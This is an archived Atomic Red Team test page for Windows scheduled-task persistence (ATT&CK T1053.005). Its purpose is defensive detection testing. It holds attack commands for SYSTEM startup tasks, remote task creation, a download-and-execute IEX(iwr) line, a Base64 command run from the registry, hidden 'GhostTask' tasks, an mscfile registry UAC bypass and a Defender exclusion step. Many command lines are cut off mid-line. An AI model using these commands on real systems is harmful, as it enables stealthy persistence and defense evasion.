atomic-red-team/atomics/T1053.005/T1053.005.md at master · redcanaryco/atomic-red-team

By Atomic Red Team doc generator

Archived: 2026-04-06 00:23:08 UTC

T1053.005 - Scheduled Task/Job: Scheduled Task

Description from ATT&CK

> Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)
>
> An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
>
> Adversaries may also create "hidden" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

Source

Atomic Tests

- Atomic Test #1: Scheduled Task Startup Script
- Atomic Test #2: Scheduled task Local
- Atomic Test #3: Scheduled task Remote
- Atomic Test #4: Powershell Cmdlet Scheduled Task
- Atomic Test #5: Task Scheduler via VBA
- Atomic Test #6: WMI Invoke-CimMethod Scheduled Task
- Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry
- Atomic Test #8: Import XML Schedule Task with Hidden Attribute

Atomic Test #1: Scheduled Task Startup Script

Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

Supported Platforms: Windows

auto_generated_guid: `fec27f65-db86-4c2d-b66c-61945aee87c2`

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
```

Cleanup Commands

```
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
```

Atomic Test #2: Scheduled task Local

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto_generated_guid: `42f53695-ad4a-4546-abb6-7d837f644a71`

Inputs

Name	Description	Type	Default Value
task_command	What you want to execute	string	C:\windows\system32\cmd.exe
time	What time 24 Hour	string	20:10

Attack Commands: Run with `command_prompt`!

```
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
```

Cleanup Commands

```
SCHTASKS /Delete /TN spawn /F >nul 2>&1
```

Atomic Test #3: Scheduled task Remote

Create a task on a remote system. Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Supported Platforms: Windows

auto_generated_guid: `2e5eac3e-327b-4a88-a0c0-c4057039a8dd`

Inputs

Name	Description	Type	Default Value
task_command	What you want to execute	string	C:\windows\system32\cmd.exe
time	What time 24 Hour	string	20:10
target	Target	string	localhost
user_name	Username to authenticate with, format: DOMAIN\User	string	DOMAIN\user
password	Password to authenticate with	string	At0micStrong

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC da
```

Cleanup Commands

```
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1
```

Atomic Test #4: Powershell Cmdlet Scheduled Task

Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto_generated_guid: `af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd`

Attack Commands: Run with `powershell`!

```
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
```

```
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
```

Cleanup Commands

```
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1
```

Atomic Test #5: Task Scheduler via VBA

This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Supported Platforms: Windows

auto_generated_guid: `ecd3fa21-7792-41a2-8726-2c5c673414d3`

Inputs

Name	Description	Type	Default Value
ms_product	Maldoc application Word	string	Word

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-M
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_pro
```

Cleanup Commands

```
Unregister-ScheduledTask -TaskName "Run Notepad" -Confirm:$false
```

Dependencies: Run with `powershell`!

Description: Microsoft #{ms_product} must be installed

Check Prereq Commands

```
try {
  New-Object -COMObject "#{ms_product}.Application" | Out-Null
  $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
  Stop-Process -Name $process
  exit 0
} catch { exit 1 }
```

Get Prereq Commands

```
Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement"
```

Atomic Test #6: WMI Invoke-CimMethod Scheduled Task

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Supported Platforms: Windows

auto_generated_guid: `e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b`

Inputs

Name	Description	Type	Default Value
xml_path	path of vbs to use when creating masquerading files	path	PathToAtomicsFolder\T1053.005\src\T1053_005_WMI.xml

Attack Commands: Run with `powershell` ! Elevation Required (e.g. root or admin)

```
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "R
```

Cleanup Commands

```
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1
```

Dependencies: Run with `powershell` !

Description: File to copy must exist on disk at specified location (#{xml_path})

Check Prereq Commands

```
if (Test-Path "#{xml_path}") {exit 0} else {exit 1}
```

Get Prereq Commands

```
New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_005_
```

Atomic Test #7: Scheduled Task Executing Base64 Encoded Commands From Registry

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the registry daily. This is a persistence mechanism recently seen in use by Qakbot.

Additiona Information

Supported Platforms: Windows

auto_generated_guid: `e895677d-4f06-49ab-91b6-ae3742d0a2ba`

Inputs

Name	Description	Type	Default Value
time	Daily scheduled task execution time	string	07:45

Attack Commands: Run with `command_prompt`!

```
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([Syste
```

Cleanup Commands

```
schtasks /delete /tn "ATOMIC-T1053.005" /F >nul 2>&1
reg delete HKCU\SOFTWARE\ATOMIC-T1053.005 /F >nul 2>&1
```

Atomic Test #8: Import XML Schedule Task with Hidden Attribute

Create an scheduled task that executes calc.exe after user login from XML that contains hidden setting attribute. This technique was seen several times in tricbot malware and also with the targetted attack campaigne the industroyer2.

Supported Platforms: Windows

auto_generated_guid: `cd925593-fbb4-486d-8def-16cbdf944bf4`

Inputs

Name	Description	Type	Default Value
xml_path	path of vbs to use when creating masquerading files	path	PathToAtomicsFolder\T1053.005\src\T1053_05_SCTASK_HIDDEN_ATTRIB.xml

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "R
```

Cleanup Commands

```
Unregister-ScheduledTask -TaskName "atomic red team" -confirm:$false >$null 2>&1
```

Dependencies: Run with `powershell`!

Description: File to copy must exist on disk at specified location (#{xml_path})

Check Prereq Commands

```
if (Test-Path "#{xml_path}") {exit 0} else {exit 1}
```

Get Prereq Commands

```
New-Item -Type Directory (split-path "#{xml_path}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1053.005/src/T1053_05_S
```

Atomic Test #9: PowerShell Modify A Scheduled Task

Create a scheduled task with an action and modify the action to do something else. The initial idea is to showcase Microsoft Windows TaskScheduler Operational log modification of an action on a Task already registered. It will first be created to spawn cmd.exe, but modified to run notepad.exe.

Upon successful execution, powershell.exe will create a scheduled task and modify the action.

Supported Platforms: Windows

auto_generated_guid: `dda6fc7b-c9a6-4c18-b98d-95ec6542af6d`

Attack Commands: Run with `powershell`!

```
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
```

Cleanup Commands

```
Unregister-ScheduledTask -TaskName "AtomicTaskModifed" -confirm:$false >$null 2>&1
```

Atomic Test #10: Scheduled Task ("Ghost Task") via Registry Key Manipulation

Create a scheduled task through manipulation of registry keys. This procedure is implemented using the GhostTask utility. By manipulating registry keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree, the tool creates user-specified scheduled tasks without a corresponding Windows Event 4698, which is logged when scheduled tasks are created through conventional means. This requires a download of the GhostTask binary, which must be run as NT Authority\SYSTEM. Upon successful execution of this test, a scheduled task will be set to run at logon which launches notepad.exe or runs a user-specified command. For further exploration of this procedure and guidance for hunting and detection, see Hunting G-G-G-GhostTasks!.

Supported Platforms: Windows

auto_generated_guid: `704333ca-cc12-4bcf-9916-101844881f54`

Inputs

Name	Description	Type	Default Value
task_name	Name of the newly-added task	string	lilghostie
task_command	Command you want the task to execute	string	notepad.exe
target	System where the task should run	string	localhost
user_name	Username to authenticate with, such as ATOMICDOMAIN\AtomicAdmin	string	$env:USERDOMAIN + '\' + $env:USERNAME

Attack Commands: Run with `command_prompt` ! Elevation Required (e.g. root or admin)

```
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_com
```

Cleanup Commands

```
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} delete #{task_name} > nul
```

Dependencies: Run with `powershell` !

Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory

Check Prereq Commands

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
```

Get Prereq Commands

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\Exte
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloa
```

Description: GhostTask.exe tool from netero101 must exist in the ExternalPayloads directory. This tool may be quarantined by windows defender; disable windows defender real-time protection to fix it or add the ExternalPayloads directory as an exclusion, using a command like `Add-MpPreference -ExclusionPath "PathToAtomicsFolder\..\ExternalPayloads\"`

Check Prereq Commands

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe") { exit 0} else { exit 1}
```

Get Prereq Commands

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/netero1010/GhostTask/releases/download/1.0/GhostTask.exe" -OutFile "Pat
```

Atomic Test #11: Scheduled Task Persistence via CompMgmt.msc

Adds persistence by abusing `compmgmt.msc` via a scheduled task. When the Computer Management console is opened, it will run a malicious payload (in this case, `calc.exe`). This technique abuses scheduled tasks and registry modifications to hijack legitimate system processes.

Supported Platforms: Windows

auto_generated_guid: `8fcfa3d5-ea7d-4e1c-bd3e-3c4ed315b7d2`

Inputs

Name	Description	Type	Default Value
task_name	Name of the newly-created scheduled task	string	CompMgmtBypass
payload	Command you want the task to execute	string	calc.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\S
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
```

Cleanup Commands

```
reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
```

Atomic Test #12: Scheduled Task Persistence via Eventviewer.msc

Adds persistence by abusing `eventviewer.msc` via a scheduled task. When the eventviewer console is opened, it will run a malicious payload (in this case, `calc.exe`).

Supported Platforms: Windows

auto_generated_guid: `02124c37-767e-4b76-9383-c9fc366d9d4c`

Inputs

Name	Description	Type	Default Value
task_name	Name of the newly-created scheduled task	string	EventViewerBypass
payload	Command you want the task to execute	string	calc.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\S
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
```

Cleanup Commands

```
reg delete "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /f
schtasks /Delete /TN "#{task_name}" /F
```
